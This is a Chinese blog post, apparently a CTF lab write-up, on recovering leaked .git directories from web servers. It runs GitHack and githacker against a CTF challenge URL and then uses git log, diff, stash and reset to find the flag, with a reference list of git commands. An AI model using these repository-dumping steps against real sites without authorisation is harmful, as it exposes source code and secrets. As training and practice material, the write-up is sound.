git泄露

发布于:2024-03-29 ⋅ 阅读:(15) ⋅ 点赞:(0)

git泄露

CTFHub技能树-Web-信息泄露-备份文件下载

当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。

工具GitHack使用:python2 GitHack.py URL地址/.git/

git命令:

git log #查看历史记录

解释说明:

remove flag 表示当前版本

add flag 表示这次提交的版本

init 表示初始的版本

使用git diff命令可以对比提交版本,对比这三个版本发现在add flag中获得此题flag

git diff <file> # 比较当前文件和暂存区文件差异 git diff  
​  
git diff <id1><id1><id2> # 比较两次提交之间的差异  
​  
git diff <branch1> <branch2> # 在两个分支之间比较  
​  
git diff --staged # 比较暂存区和版本库差异  
​  
git diff --cached # 比较暂存区和版本库差异  
​  
git diff --stat # 仅仅比较统计信息

实现:git diff 4f116709933b4392a3a3ec62a6d139112104a6d3

stash

前面的操作和log一样

git diff命令之后发现文件

使用:

git stash list  //查看被隐藏的文件列表  
​  
git stash pop     #恢复代码

git stash 保存当前工作进度,会把暂存区和工作区的改动保存起来

git stash save ‘hello world’ 使用save可以添加一些注释

git stash list 显示保存进度的列表

git stash pop 恢复最新进度到工作区,默认将工作、暂存区的改动都恢复到工作区

git stash pop --index 恢复最新进度到工作区和暂存区,尝试将暂存区的改动恢复到暂存区

git stash pop stash@{1} 恢复指定的进度到工作区

git stash apply [–index] [stash_id] 将堆栈中的内容应用到当前目录,该命令不会将内容从堆栈中删除

git stash drop [stash_id] 删除一个存储的进度。如果不指定stash_id,则默认删除最新的存储进度

git stash clear 删除所有存储的进度

git stash show 查看堆栈中最新保存的stash和当前目录的差异

git stash branch 在最新的stash创建分支

注意: 使用 git stash pop 命令恢复进度后,当前进度会被删除

index

使用git log还原
之后

git ls-files --stage     #查看index file 文件
使用cat 查看文件

注:也直接可以使用 git diff 得到

GitHacker的使用

githacker --url http://aa59014b-45fe-4bb2-b0a5-f3e6e5e91929.node4.buuoj.cn:81/.git/ --output-folder ‘/root/桌面/test’

注:–output-folder (将得到的文件存放在那个文件夹里面)

githacker --url http://aa59014b-45fe-4bb2-b0a5-f3e6e5e91929.node4.buuoj.cn:81/.git/ --output-folder '/root/桌面/test' 

注:--output-folder (将得到的文件存放在那个文件夹里面)

先进入到得到文件的目录
git log --reflog  注:如果得到的文件内容不全,使用它之后
得到:commit e5b2a2443c2b6d395d06960123142bc91123148c (refs/stash) 有很多的这种的,从第一个一个试
然后:git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c 成功恢复内容
本文含有隐藏内容,请 开通VIP 后查看

网站公告

今日签到

点亮在社区的每一天
去签到